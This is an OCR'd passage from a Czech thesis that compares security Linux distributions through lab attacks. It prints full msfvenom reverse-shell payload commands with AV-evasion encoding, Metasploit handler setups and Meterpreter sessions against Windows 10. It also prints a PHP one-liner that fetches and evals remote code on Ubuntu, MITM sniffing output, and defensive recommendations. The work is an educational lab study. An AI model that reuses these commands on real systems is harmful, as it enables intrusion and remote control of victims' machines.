neobsahoval, avSak bylo mozZné ho naistalovat. Tento proces ale trval néjaky Cas a

bylo nutné predtim doinstalovat i nutné balicky, poté se spoustél z prikazové radky.

Vykonnostné vsak v testu nezaostaval za ostatnimi distribucemi.

Vystup z nastroje se nelisil, veSkeré parametry zaznami o ¢ase a vyuziti paméti RAM

byly stejné na vSech distribucich.




7.3 B3 - Exploit Windows 10 za pomoci Metasploit Frameworku

Pro tento typ testu bude pouzit Metasploit Framework. Tento nastroj obsahuje
nespocet pripravenych exploitii a payloadd, které vyuzivaji bezpecnostni dér.
Exploit vyuziva pravé bezpecnostnich dér, zatimco payload slouZi jako naslouchaci

spojeni na urcitém portu.

7.3.1 Cil testu

Test slouzi jako nazorna ukazka vyuzZiti uZivateli bez podvédomi o informacni
bezpectnosti, kdy uZivatel miize stdhnout spustitelny payload a pripustit tak

utocnika do svého systému.

7.3.2 Prubéh testu - Kali Linux

Nastroj je spustitelny pres menu - zalozka Explotation Tools - Metasploit

Framework.

=[ metasploit v5.0.80-dev
+ — —=[ 1983 exploits - 1088 auxiliary - 339 post
+ — —=[ 559 payloads - 45 encoders - 10 nops
+ — —=[ 7 evasion

Metasploit tip: Enable HTTP request and response logging with set

Obrazek 36 Uvitaci okno Metasploitu

V novém terminalu bude zadan prikaz
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.138
LPORT=4444 -f exe -e x86/shikata_ga_nai -o /var/www/html/exploittest.exe
Tento prikaz ndm vygeneruje spustitelny payload, ktery se bude nacitat zpét do Kali
Linuxu s [P adresou 192.168.43.138 pred port 4444. Parametr -e urcuje kodovani
souboru, aby nebyl ureny OS jako Skodlivy. List koderli je mozZné zjistit ptes
msfvenom -l encoders. Payload byl uloZen ve /var/www/html, kdy za ucelem

testovani bude prenesen pres Apache do OS Windows.



No platform was selected, choosing Msf::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 368 (iteration=8)
x86/shikata_ga_nai chosen with final size 368

Payload size: 368 bytes

Final size of exe file: 73802 bytes

Obrazek 37 Vygenerovani spustitelného souboru - Kali Linux

Nyni je moZné vratit se ke spusténému Metasploitu, kde se nastavi obecny exploit.
use exploit/multi/handler
Nasledné se nastavi payload, stejny jako byl pouZit u generovani souboru.
set payload windows/meterpreter/reverse_tcp
Piikazy
set Iport 4444
set lhost 192.168.43.138
se nastavi na IP adresu a naslouchajici port Kali Linuxu.

Nyni je mozné zahdjit exploit.

msf5 exploit( ) > set lhost 192.168.43.138
lhost = 192.168.43.138

msf5 exploit( ) > set lport 4444

lport = 4444

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.43.138:4444

Sending stage (180291 bytes) to 192.168.43.188

Meterpreter session 1 opened (192.168.43.138:4444 — 192.168.43.188:499
29) at 2020-04-09 08:40:10 -0400

Obrazek 38 Metasploit - zahajeni titoku - Kali Linux

Po zahdjeni exploitu je nutné na stanici s OS Windows spustit vygenerovany
exploittest.exe, poté je relace zahajena.

meterpreter > sysinfo
Computer : DESKTOP-3D1F40U

0s : Windows 10 (10.8 Build 18362).
Architecture {1

System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

Obrazek 39 Systémové informace zasaZzeného cile

Pres prikaz help je zobrazen seznam prikazi, které pracuji s napojenymi Windows.
Seznam zahrnuje moZnosti prace se systémem jako zaslani prikazd,

odposlouchavani klavesnice, vypnuti procest nebo praci se siti.



Napriklad prikazem screenshare je mozné pozorovat aktualni déni na obrazovce

cilového OS.

D kali.. O kali.. @ Me.. 11:14AM O

LYeCFcX.html

n = | File Bxplorer

Target IP : 192.168.43.188
Start time : 2020-04-09 11:13:11 -0400 M &> Quickaccess > LY
Status : Playing
# Ouick access ‘ Sign in to OneDrive to get 5 GB cloud storage
Save your files te OneDrive, then view and edit them from the
) Desitop * mobile app.
& Downloads
[£ Documents  # Sevi
&) Pictures »
= ; b Music ~ Freguent folders (6)
" < | File Explorer — B videos
f— Share Wil Desktop Downloads
& OneDrive vl This PC ‘ This PC
1 & > Quickaccess > v\ 0 | sercng s *
[ This PC
~ Documents Pictures
3 Quick access Sign in to OneDrive to get 5 GB cloud storage & Network ﬁ This PC = This PC
Save your files to OneDrive, then view and edit them from the * 4
B9 Deskiop *
mobile app.
& Downloads # o Music Videns
: Bitems
%) Documents  # Signin
& Pictures #* '
D Music ~ Frequent folders (6)
Videos
B Desktop Downloads b
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7.3.3 Pribéh testu - Parrot Security

V Parrot Security se ndastroj Metasploit nachazi v Applications - Pentesting -
Exploitation tools - Metasploit Framework. V této zaloZce jsou nastroje ¢lenény na
armitage (GUI pro Metasploit), Metasploit framework (CLI), msf payload creator a
msfvenom.
Pres nastroj msfvenom se vygeneruje zakodovany exe soubor.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.61
LPORT=4444 -f exe -e x86/shikata_ga_nai -o /var/www/html/exptest.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-1 No arch selected, selecting arch: » from the payload

Found 1 compatible encoders

Attempting to encode p d with iterations of x hikata_ga_nai

hikata_ga_nal s vith size )
' h final
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Pres spusténi service apache?2 start se soubor stahne do OS Windows.

Pro zménu v Parrot security bude vyuZit nastroj armitage.



Armitage Wiew Hosts Attacks Workspaces Help

r auxiliary
» [ exploit
* (5§ pavload
» [ﬁ post

Console X

LEETISNmmmmm,m..,
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Poskytuje piehledné listovani exploitl a payloadt. Poté Nasleduje nastaveni

exploitu.

w5 irix i
» [ linusx
» [ mainframe
¥ (& multi
» [ browser
» [i§ elasticzearch
» (&5 fileformat
> ﬁ'f—tp
» (& gdb
» (B hams
» (&5 http
» ([iF ids
» (i local
» [ misc
» (&5 rmysql
> (& ntp
* (& php

-
» (i postgres v

Obrazek 43 Ukazka exploitli v armitage



multifhandler

Generic Payload Handler

This module is a stub that provides all of the features of the Metasploit payload
system to exploits that have been launched outside of the framework.

Option A | Walue

DisablePayloadHandler false

ExitOnSession false

LHOST 192.158.43.61

LPORT 4444

PAyLOAD windows/meterpreter/reverse_tcp

Targets: |0 == wildcard Target _vJ

|_| Show advanced options

| Launch |

Obrazek 44 Nastaveni exploitu v armitage

Konzole vypiSe spojeni

[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*#] Started reverse TCP handler on 192,163.43.61:4444

[*] Sending stage (180201 bytes) to 192.168.43.188
[*] Meterpreter session 1 opened (192.168.43.61:4444 -= 102,168.43.185:50220) at 2020-04-00
16:44:36 +0000

Obrazek 45 Spojeni s cilem

V prostredi armitage se nachazi prehledné menu, jaké operace jsou mozné s cilovym

OS.

v
4@..
Meterpreter 1

Services
Scan

DESKTOP- *DIF40IJ‘\|)EI = r Browse Files
Fivoting
ARF Scan..,

Show Processes
Log keystrokes
Eill Screenshot
Webcam Shot

Post Modules
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7.3.4 Prubéh testu - BackBox Linux

BackBox obsahuje pouze prostiedi pro msfconsole. V menu se nachazi v Auditing -
File Analysis — Network.
S pomoci msfvenom se vygeneruje spustitelny soubor pro OS Windows.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.206
LPORT=4444 -f exe -e x86/shikata_ga_nai -o /var/www/html/test.exe



[-1 No Flatfnrm was selected, choosin :Module: :Platform: :Windows from the payload
[-1 No a -W . ing arch: from the paylo:
Found 1 «

pad with 1 iterations of x
ded with size (iteratio
n with final g

38082 bytes
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Pies apache je poslan do OS Windows.
Po spusténi msfconsole je pouzit multi/handle exploit.

use exploit/multi/handler
Dale je nastaven LHOST a LPORT BackBoxu a payload.

set Iport 4444

set lhost 192.168.43.209

set payload windows/meterpreter/reverse_tcp

Nyni je moZné zahajit exploit. Po startu byl spustén test.exe v OS Windows 10.
mst5 exploit( ) = exploit

[*] Ltjrtm:l

-

7 +00080

: DESKTOP-3D1F40U
: Windows 108 (Build 183

GROUP
Logged On Users
Meterpreter : %86/windows

Obrazek 49 Systémové informace cilového OS

’

Pro priklad tspésného expolitu je mozné ukoncit béZici proces:

kypeApp

Filtering on

Killing: 904

z

Obrazek 50 Ukonceni béziciho procesu v cilovém 0S

7.3.5 Prubéh testu - BlackArch Linux

S pomoci msfvenom se vygeneruje exe soubor.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.33
LPORT=4444 -f exe -e x86/shikata_ga_nai -o /home/exx.exe



. choosing Msf::Module::Platform: :lindows from the p

ayl oad

[-1 Ho ] ing arch from the payload

Found 1 i

Att = hikata_ga_nai

ded with (iterati )
with final 368

bytes
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Na Arch Linuxu se apache server spousti pres systemctl start httpd.service.
Po presunuti souboru na Windows se nastavi Metasploit.

use exploit/multi/handler

set Iport 4444

set lhost 192.168.43.209

set payload windows/meterpreter/reverse_tcp
Nasledné je spustén exploit a je navazano spojeni s Windows 10.

handler on

Windows 16 (16.@ Build
4

Tupe Last modified

dir
dir

dir
dir
dir
dir
dir
dir 16: ] / Inform

dir
dir
Fif
Fif
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7.3.6 Doporuceni

Diky nepozornosti uZzivateld je v béZné praxi velice jednoduché infikovat operacni
systém. Jako jedno z doporuceni je stahovat soubory pouze z diivéryhodnych zdroj.
Dale vyuzivat kvalitni antivirus a pravidelné aktualizovat virovou databazi. Také mit
spravné nastaveny firewall. Jakmile je totiZ infikovany soubor spustén, atoc¢nik ziska

plnou moc nad systémem.

7.3.7 Porovnani distribuci
Nasledujici tabulka obsahuje serazeni kritérii (1 - nejlepsi, 4 - nejhorsi).

Tabulka 11 Porovnani distribuci pro test B3
Zdroj: vlastni

Kali Linux Parrot BackBox BlackArch
Security Linux Linux
In,tultl\_/m nalezeni 1 ) 3 4
nastroje v menu
Prace s nastrojem 1 4 2 3
Rychlo_st OS pri pouziti 2 4 3 1
nastroje

V pouziti nastroje Metasploit se jednotlivé distribuce zna¢né nelisily, proto toto
hodnoceni bude spiSe subjektivni. Bezproblémovou praci umoznil Kali Linux a
BackBox Linux. V Parrot Security byl pouzit nastroj Armitage, ktery sice obsahuje
uzivatelsky privétivé GUI, avsSak z hlediska funk¢nosti neobstal. Navazani spojeni
bylo Uspésné, nicméné nasledné ovladani zasazeného OS Windows se nechovalo
podle pozadavkli. V BlackArch Linuxu je nutné nejdfive spravné nastavit
bezpecnostni politiku, jelikoZ blokuje prichozi pakety. Bez potfebnych nastaveni
nebylo moZné navazat spojeni pomoci reverzniho TCP.

PouZiti a vystupy z nastroje Metasploit byly totoZné na vSech distribucich.

7.4 B4 - Exploit linuxove distribuce Ubuntu

Drive se linuxové distribuce vSeobecné povazovaly za bezpecné a mnoho uzivatell
tvrdilo, Ze Linux neni mozné zavirovat. Dnes jiZ existuje nékolik Skodlivych kodd,

kdy se do Linuxu da proniknout a manipulovat s nim.



Linuxovou distribuci Ubuntu lze povaZovat jako jednu z nejpouzivanéjSich UNIX
operacnich systémi. Za pomoci Metasploit Frameworku bude otestovana

zranitelnost této distribuce.

7.4.1 Cil

Cilem testu je vyuzit zranitelnosti linuxové distribuce Ubuntu. Slouzi jako ukazka

dalSiho pouziti Metasploit Frameworku.

7.4.2 Prubéh testu - Kali Linux

Pfres menu - Explotation Tools - Metasploit Framework se spusti msfconsole.
Pro Ubuntu bude pouzit exploit web_delivery. Tento exploit za pomoci webového
serveru zpristupni stazitelny soubor, diky kterému je umoZnéno spojeni a nasledné
pres Meterpreter prace s cilovym OS. Podminkou je spustény apache server na Kali
Linuxu (service apacheZ start).

Use exploit/multi/script/web_delivery
Vyuzit bude payload s reverznim TCP.

Set payload php/meterpreter/reverse_tcp

Set LHOST 192.168.0.107
Nasledné je potieba nastavit lokalni host na IP adresu Kali Linuxu a oznacit si ¢iselné
cil.
Ptes ptikaz Show options se zkontroluje nastaveni.
Ptikazem run je exploit spustén a vygeneruje se piikaz, ktery je nutné nasledné
napsat do termindlu cilového Ubuntu. Po spusténi prikazu vznika relace mezi

Ubuntu a Kali Linuxem.

msf5 exploit( ) > run
Exploit running as background job @.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.0.107:4444
Using URL: http://0.0.0.0:80808/251cDVxk3NS4t]q

Local IP: http://192.168.0.107:8080/251cDVxk3NS4tIq
Server started.
Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:8080/251cDVxk3NS4tlq'));"
msf5 exploit( ) > 192.168.0.108 web_delivery - Delivering Payload (1114 bytes)
Sending stage (38288 bytes) to 192.168.0.108
Meterpreter session 1 opened (192.168.0.107:4444 — 192.168.0.108:36028) at 2020-04-13 04:53:26 -0400

Obrazek 54 Kali Linux - navazani spojeni s Ubuntu

Pres prikaz sessions 1 (Meterpreter session 1 opened) se objevi v prikazové radce

Meterpreter a je umoznéno ho vyuzit.



Pro priklad je zde uvedena prace v souborovém systému, kdy je v Kali Linuxu pouZit

prikaz na vytvoreni slozky, coZ se nasledné promitne i v Ubuntu.

meterpreter > cd ..
meterpreter > 1s
Listing: /home/ubuntu

Mode Size Type Last modified Name

100600/ rw 36 fil 2019-12-29 :50: .bash_history
100644/ rw-r—r— 220  fil  2019-12-29 == .bash_logout
100644 /rw-r—r— 3771 fil  2019-12-29 z21: .bashrc
40750/ rwxr-x-— 4096 dir  2019-12-29 :45: .cache

40750/ rwxr-x— 4096 dir 2019-12-29 :38: .config
40700/ rwx- 4096 dir  2019-12-29 :38: .gnupg

40700/ rwWx 4096 dir 2019-12-29 137: .local
100644/ rw-r—r— 807  fil  2019-12-29 = .profile
40700/rwx 4096 dir 2019-12-29 138: .ssh

100644 /Tw-r—r— @ fil 2019-12-29 :39: .sudo_as_admin_successful
40755/ rwxr-xr-x 4096 dir 2019-12-29 137: Desktop
40755/rwxr-xr-x 4096 dir  2019-12-29 :37: Documents
4@755/rwxr-xr-x 4096 dir 2019-12-29 :37: Downloads
40755/ rwxr-xr-x 4996 dir 2019-12-29 137: Music
40755/rwxr-xr-x 4096 dir  2019-12-29 :37: Pictures
4@755/rwxr-xr-x 4096 dir  2019-12-29 137: Public

40755/ rwxr-xr-x 4096 dir 2019-12-29 137: Templates
40755/rwxr-xr-x 4096 dir  2019-12-29 :37: Videos

meterpreter > cd Desktop
meterpreter > mkdir YouHaveBeenHacked!
Creating directory: YouHaveBeenHacked!

Obrazek 55 Vytvoieni slozky v zasazeném OS pres Kali Linux

B Terminal = Apr13 0618

= [+1 root@ubuntu1910: fhome /ubuntu/Desktop

. root@ubuntu1910: fhome/ubuntu/Desktop# ifconfig
ubuntu enpBs17: flags=416 P ,BROADCAST ,RUNNING ,MULTICAST> mtu 1500
- netmask 255.255.255.0 broadcast 192.168.0.255
:fB7c:ffa3:3843:50c3 prefixlen 64 scopeid ©x20<link=>
ether 08:00:27:af:e3:06 txqueuelen 10800 (Ethernet)
RX packets 99663 bytes 148932129 (148.9 MB)
RX errors © dropped @ overruns @ frame @
Trash

TX packets 51345 bytes 3518390 (3.5 MB)
TX errors ® dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.6.0.1 netmask 255.06.0.0
inet6é ::1 prefixlen 128 scopeid 8x10<host>
loop txqueuelen 1080 (Local Loopback)
YouHaveBeent RX packets 382 bytes 33460 (33.4 KB)
acked! RX errors @ dropped @ overruns 8 frame @
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7.4.3 Pribéh testu - Parrot Security

V Parrot Security se nastroj spousti pres Applications - Pentesting — Exploitation
tools - Metasploit Framework.
Bude pouzit web_delivery exploit spole¢né s reverznim TCP payloadem, dale je
nutné nastavit lokalni IP adresu Parrot Security. Ddle je nutné spustit Apache
webovy server.

Use exploit/multi/script/web_delivery

Set payload php/meterpreter/reverse_tcp

Set LHOST 192.168.0.109



Run

Exploit running as background job ©.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.0.109:4444
msf5 exploit( ) Using URL: http://0.0.0.0:808

Local IP: http://192.168.0.109:8080/kL3ENL
Server started.
Run the following command on the target machine:
php -d allow_url_fopen=true -r "evallfile_get_contents('http://192.168.0.109:8080/kL3ENL" });"
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V cilové Ubuntu stanici se spusti vygenerovany prikaz.
Spojenti je navazano, pres prikaz session 2 se pristoupi k Meterpreteru a manipulaci

se zasazenym cilem.

msf5 exploitl ) > sessions 2
Starting interaction with 2...

meterpreter > sysinfo

Computer : ubuntul91o

0s ¢ Linux ubuntul91® 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64
Meterpreter : php/linux
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7.4.4 Prubéh testu - BackBox Linux

Metasploit v BackBoxu se v menu nachazi v Auditing - File Analysis - Network.
Pro test bude opét potieba spustit webovy server pres service apacheZ start.
Po spusténi msfconcole se pouzije exploit/multi/script/web_delivery. Nastavi se
LHOST na IP adresu BlackArchu. Dale bude nastaven payload, tentokrat na bazi
Pythonu, avSak chovani je velice podobné jako u php payloadu.

Use exploit/multi/script/web_delivery

Set payload python/meterpreter/reverse_tcp

Set LHOST 192.168.0.110

Run

round job @.
no session was created.

1.110: 4444

11, fromlist=("urlopen',)

:25 +0060

Obrazek 59 BackBox - navazani spojeni s Ubuntu



Na Ubuntu je spustén prikaz a spojeni je navazano. Po prikazu sessions 1 se nacte

konzole pro Meterpreter.

meterpreter > sysinto
Computer : ubuntul9le

0s : Linux 5.3.0-24-generic #26-Ubuntu SMP Thu Nowv 14 81:33:18 UTC 2819

Architecture : x64
System Language : en_US
Meterpreter : python/linux

Obrazek 60 Ukazka systémovych informaci z Ubuntu

7.4.5 Prubéh testu - BlackArch Linux

Spusténi nastroje probéhne pres terminal prikazem msfconsole. Nejdrive se spusti
webovy server pirikazem Systemctl start httpd.service. Dale je potifeba nastavit
bezpecnostni politiku, ktera brani prichozi komunikaci.

Iptables -P INPUT ACCEPT
Nyni se nastavi druh exploitu, payloadu a LHOST. Bude pouzit Python payload,
jelikoz BlackArch PHP payload neobsahuje, pouziti je vSak stejné jako u PHP
payloadu.

Use exploit/multi/script/web_delivery

Set payload python/meterpreter/reverse_tcp

Set LHOST 192.168.0.111

Run

) 5 run
loit running as bac nd job 8.
oit completed., but n =ion was created.

ted reverse TCP handler on 192,168 6. 111: 4444

3 . request’ on_infalB11, fromlist=C( url
1. o
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V Ubuntu se spusti prikaz, ktery ndm Metasploit poskytne. Relace je navazana,

prikazem session 1 je otevien Meterpreter.

© ubuntul9ls
o Linux 5.3

1itecture

em Language : en_U3
rpreter ©opythonslinus
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7.4.6 Doporuceni

e Nestahovat balicky z nedGvéryhodnych zdroji

e Nespoustét nedlivéryhodné skripty

7.4.7 Porovnani distribuci

Tabulka 12 Porovnani distribuci pro test B4
Zdroj: vlastni

Kali Linux Parrot BackBox | BlackArch
Security Linux Linux
ln,tultl\_/m nalzeni 1 2 3 4
nastroje v menu
Prace s nastrojem 1 3 2 4
Rychlo_st OS pri pouziti 2 4 3 1
nastroje

Metasploit framework zde opét ukazal svoji pouZitelnost ve vSech prostiedich.
Jednotlivé distribuce se rychlostné a vykonnostné od sebe znatelné neliSily.
Nejrychlejsi byl zde BlackArch, ktery sazi na rychlost na tkor grafickému rozhrani.
Kali Linux a Parrot Security pouZily payload na bazi PHP, BackBox a BlackArch na
bazi Python. PouZiti a vysledky vSak byly totoZzné. Jediny BlackArch si Zadal upravit
bezpecnostni politiku, aby bylo moZné navazat spojeni za pomoci payloadu
reverzniho TCP.

Vystup se u distribucich vyrazné nelisil, pouze Parrot Security u vypisu systémovych

informaci neuvadél parametr systémového jazyka Ubuntu distribuce.
7.5 Doplnujici testy

7.5.1 Pouziti nastroje OWASP ZAP na distribuci BackBox

BackBox v zakladu obsahuje nastroj OWASP ZAP. Je dostupny primo po rozkliknuti
menu, jakoZto jeden z nejvyznamnéjSich nastroji této distribuce. Kali Linux ma
nastroj také pod jménem OWASP ZAP. BlackArch a Parrot Security totoZny nastroj

obsahuji pod jménem zaproxy.



OWASP ZAP je skenovaci nastroj pro webové aplikace. Disponuje grafickym
rozhranim a pouziti je snadné i pro zacinajici uzivatele. Pomoci automatickych testi
objevuje zranitelna mista.

Vtomto testu bude utok proveden opét na vytvorenou testovaci WordPress
webovou aplikaci, ktera byla pro potieby testu nasazena na hosting.

Po vybéru nastroje v menu se objevi zakladni pracovni plocha.

@ A untitled Session

b Untitled Session - OWASP ZAP 2.8.0
Eile Edit Wiew Analyse Report Tools Import Online Help

(StandardMode ) (1 S W E 8 S 2@ 008 0008 &V @0 b 0 % B

& Sites | 9= J . Quick Start ?T =» Request T Responseé= | 4

@ LECE A

This screen allows you to launch an automated scan against an
application - just enter its URL below and press 'Attack’.

¥ (5 Contexts
[£] Default Context Please be aware that you should only attack applications that you have
@ Sites been specifically been given permission to test.

URL to attack: http://dsservices.cz |:] @ Select...

Use traditional spider: []

Use ajax spider: [J with |Firefox Headless | =

47 Attack M stop K
v
[ = History T ©, search I 5 plerts ]' || Output T )\ Active Scan & # | =F
T ?‘. New Scan| | Progress: --Select Scan-— Il 1 B < Current Scans:0 @ Num requests: 0 : New Alerts:0 : ? Export g
Id | Req. Timesta... | Resp. Timest... | Met... | URL | C... | Reasen | ... | Size Resp. ... | Size Resp... [

¥ T

:

Alerts Q0 D (U0 RO Current Scans 440 0 @0 H 0 @0 #o
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Pro pokrocilejsi uzivatele je zde moznost pokrocilého nastaveni testli a skenovaci
politiky.
Po zapoceti Gitoku nastroj nejdrive dohleda vSechna navazna URL.

V zaloZce Alerts se nachazeji vSechna zranitelnd mista, ktera nastroj dohledal.



UHL: NTTP://OSSErVICES.C2
Risk: Fu Medium
Confidence: Medium

Parameter: X-Frame-Options

¥ | Alerts (9)

» ™ X _Frame-Options Header Not Set (16)
» [0 Absence of Anti-CSRF Tokens (2)

» [ Cookie Mo HittpOnly Flag (9) Attack:

» [ Cookie Without SameSite Attribute (9) Evidence:

» FUWeb Browser XSS Protection Mot Enabled (18) CWE ID: 16

» [ X-Content-Type-Options Header Missing (73) WASCID: 15

» [ Charset Mismatch (6) Source: Passive (10020 - X-Frame-Options Header Scann
» [ Information Disclosure - Suspicious Comments (23) . er}

» [ Timestamp Disclosure - Unix (18} Description: -

X-Frame-Options header is not included in the HTTP
response to protect against 'Clickjacking' attacks.
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Obsahuji zavaznost chyby, obecny popis, identifikaci konkrétni URL, kde se chyba
nachazi. Diilezita je zalozka Response, ktera poukazuje na misto ve zdrojovém

kodu, diky kterému se nastroj domniva, Ze jde o zranitelné misto.

[ %" Quick Start I = Request T Responsed= | ==

| Header: Text | ¥| | Body: Text | ¥| ==

HTTP/1.1 200 0K
Date: Fri, 17 Apr 2020 13:41:01 GMT |

& osobnostnimu rozvoji, v hlavni roli stoji zézitek a spoleény dialog déastnik( we skupl
né, VWytvarné kurzy Vytvarné kurzy jsou zaméfené na [&hellip;]" /> i
<meta name="twitter:title" content="Uvod - Atelier Arte" /=

<meta name="twitter:image" content=
“http://dsservices.cz/wp-content/uploads/2019/11/swpc-6-471x350. Jpg" /=

=script type='application/ld+json’ class='yoast-schema-graph yoast-schema-graph--main'={
"@context”: "https://schema.org”, "agraph”: [{"@type": "Web5ite", "@id":
“http://dsservices.cz/#website", "url":"http://dsservices.cz/","name": "Atelier Arte",
“publisher”:{"@id":"http://dsservices.cz/#/schema/person/"}, "potentialAction”: {"@type":
"SearchAction","target": "http://dsservices.cz/?s={search_term_string}","query-input":
“required name=search_term_string"}},{"@type”:"ImageCbject","@id":
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Diky podrobnym popistim a presnému dohledani chyby je nastroj vhodny nejen
pro pracovniky informatické bezpecnosti ale i pro webové vyvojare, ktefi mohou

diky jednoduchému pouziti nastroje 1épe zabezpecit aplikaci.

7.5.2 Nastroj Xerosploit pro simulaci utoku Man in the middle

Xerosploit se nachazi v zakladu distribuce BlackArch. Do ostatnich distribucich je
vSak snadlo doinstalovatelny. Test bude proveden pro virtualni stanici OS Windows
10.

Prikazem xerosploit se nastroj spusti. Pres prikaz scan se vylistuje seznam IP adress

v LAN siti.



192.168.0.1 (Tp-link Technologies)
192.168.0.102 (Intel Corporate)

103 (Liteon Technology)
192.168 105 08:00:27:C8:99:17 (Oracle VirtualBoxvirtual
192.168.0.104 08:00:27:1F:30:76 (This device)
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Zadanim IP adresy 192.168.0.105 se ur¢i cil - stanice Windows 10.

Prikazem help jsou zjistény moZnosti xerosploitu. Daji se skenovat oteviené porty,
zahajit DoS utok, nahradit v prohliZeci obrazky nebo napriklad odchytit pakety
uvnitr sité.

Pro ptiklad je zvolen sniff, ktery ze zasaZeného cile odposlouchava pohyby po

prohliZeci a logy si uklada.

[DESKTOP-3D1F40U/192.168.0.105 > 77.75.77.9:https] [HTTPS] https://h.imedia.cz./
[DESKTOP-3D1F40U/192.168.0.105 > 77.75.79.43:https] [HTTPS] https://ssp.imedia.cz./
[DESKTOP-3D1F40U/192.168.0.105] POST http://ocsp.int-x3.letsencrypt.org/ ( application/ocsp-response ) [200]

[HEADERS]

Host : ocsp.int-x3.letsencrypt.org

User-Agent : Mozilla/5.@ (Windows NT 1@.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept : */x

Accept-Language : en-US,en;q=0.5

Content-Type : application/ocsp-request

Content-Length : 85

DNT : 1

Connection : close

Pragma : no-cache

[BODY]

53 51 30 4F 30 4D 3@ 4B 30 09 2B @E 050Q000MOKO ... +.
02 @5 00 04 14 TE E6 6A E7 72 FCFB ......s % P AP
20 6C 16 A1 2D 60 71 @8 5D 04 4A 6A . dl..-"q.]...3]
04 DD BA E6 D1 39 B7 A6 45 65 A8 EC c.}....9..Ee....
02 @3 53 C7 F5 @7 63 6A @E 26 56 E3 ....S5...c).&.V.
cD 7D 06 X}
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Branit se proti Man in the middle itoku pomaha Sifrovana komunikace ptes
prohliZe¢. Doporucené je se nepripojovat k vefejnym a nezabezpecenym sitim,

pripadné vyuZit VPN.

7.5.3 Digitalni forenzni analyza - nastroj Autopsy

Nastroj Autopsy je pritomen ve vSech distribucich. Disponuje grafickym rozhranim
a slouZzi k vysetrovani jednotlivych pripadl a analyze dat. Pro analyzu dat byl zvolen
soubor z webové stranky dftt.sourceforge.net, ktera nabizi testovaci image diskd.
Prikazem autopsy se nastroj spousti, nasledné je poskytnut

v

odkaz, ktery se zada do prohlizece.



Pres New Case je vytvoren zaznam o novém pripadu.

CREATE A NEW CASE

1. Case Name: The name of this investigation. It can contain only
letters, numbers, and symbols.

Testcase

2. Description: An optional, one line description of this case.

Digital forensic

3. Investigator Names: The optional names (with no spaces) of the
investigators for this case.

a. Test b. Investigator
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Po vytvoreni se k pripadu ptiradi hostitelsky PC, ktery je vySetiovan, a konkrétni
vySetiovatel. K pripadu se dale prifazuje image hostitelského PC, zpravidla cely disk
nebo jeho c¢ast. Autopsy umoziuje hash téchto soubori.

1. Location
Enter the full path (starting with /) to the image file.
If the image is split (either raw or EnCase), then enter '* for the

extension.

/home/user/Downloads/8-jpeg-search/8-jpeg-seal

2. Type
Please select if this image file is for a disk or a single partition.
Disk O Partition

Obrazek 69 Prirazeni image v Autopsy

Po vloZeni image se data mohou analyzovat. Autopsy zjisti veskeré slozky a

soubory na tomto image, v€etné téch ztracenych.

FILE ANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETAILS META DATA DATA UNIT HELr CLOSE
i) ? '
Current Directory: c:/ /del1/
ADD NoTE GENERATE MDS5 LisT OF FILES
DEL il?? ‘13_11 NAME (i WRITTEN AcCcCESSED CHANGED CREATED
d/d aef 2004-06-10 2004-06-10 2004-06-10 2004-06-10
03:59:10 (UTC) 03:59:10 (UTC) 03:59:10 (UTC) 03:22:22 (UTC
d/d -/ 2004-06-10 2004-06-10 2004-06-10 2004-06-10
03:59:15 (UTC) 03:59:15 (UTC) 03:59:15 (UTC) 03:27:44 (UTC
v -fr file6.jpg 2004-06-10 2004-06-10 2004-06-10 2004-06-10
06:48:08 (UTC) 03:28:00 (UTC) 03:28:00 (UTC) 03:28:00 (UTC
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Zde, ve sloZce dell, byl smazan jpg soubor s nazvem fileé6.




Nastroj umozinuje zavérecny report o jednotlivych souborech.

Autopsy MFT Entry Report

GENERAL INFORMATION

MFT Entry: 39-128-3

Pointed to by fileis):

C:/archive/file8.zip

MD35 of istat output: b8f2d3dod5aeeffabio368arlf3sdhece - $STANDARD INFORMATION Attribute Values:
SHA-1 of istat output: 5d2aleedca?68c2e43b7f482d0e95ch706b42129 - Flags: Archive

. . ) Owner ID: 0
Image: "fvar/lib/fautopsy/Testcase/hostl/images/8-jpeg-search.dd’ Security 1D: 259 ()
Offset: Full image Created: 2004-06-10 03:28:51.535694400 (UTC)
File System Type: ntfs File Modified: 2004-06-10 07:16:42.000000000 (UTC)
MFT Modified: 2004-06-10 03:28:51.645852800 (UTC)
Date Generated: Sat Apr 18 15:12:10 2020 Accessed: 2004-06-10 03:28:51.645852800 (UTC)

Investigator: Investigator
SFILE NAME Attribute Values:
Flags: Archive

META DATA INFORMATION Name: file@.zip

Parent MFT Entry: 37 Sequence: 1
MFT Entry Header Values: Allocated Size: 0 Actual Size: 0
Entry: 39 Sequence: 1 Created: 2004-06-10 03:28:51.535694400 (UTC)
$LogFile Sequence Number: 1074059 File Modified: 2004-06-10 03:28:51.535694400 (UTC)
Allocated File MFT Modified: 2004-06-10 03:28:51.535694400 (UTC)
Links: 1 Accessed: 2004-06-10 03:28:51.535694400 (UTC)
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8 Zhodnoceni vysledkii

Prace s jednotlivymi distribucemi se mirné 1isi. Nejvice vybocuje BlackArch Linux,
ktery je postaveny na jiné architekture neZ ostatni distribuce. Lisi se prace s instalaci
novych balicku nebo ma napftiklad jinak nastavenou bezpec¢nostni politiku. Ostatni
distribuce vyuzivaji stejny systém stahovani novych aplikaci a balickd.

Prace s nastroji probihala na vSech distribucich témér totozné. Obcas se vyskytl
odlisny vystup, rozdilnost vSak nebyla zasadni.

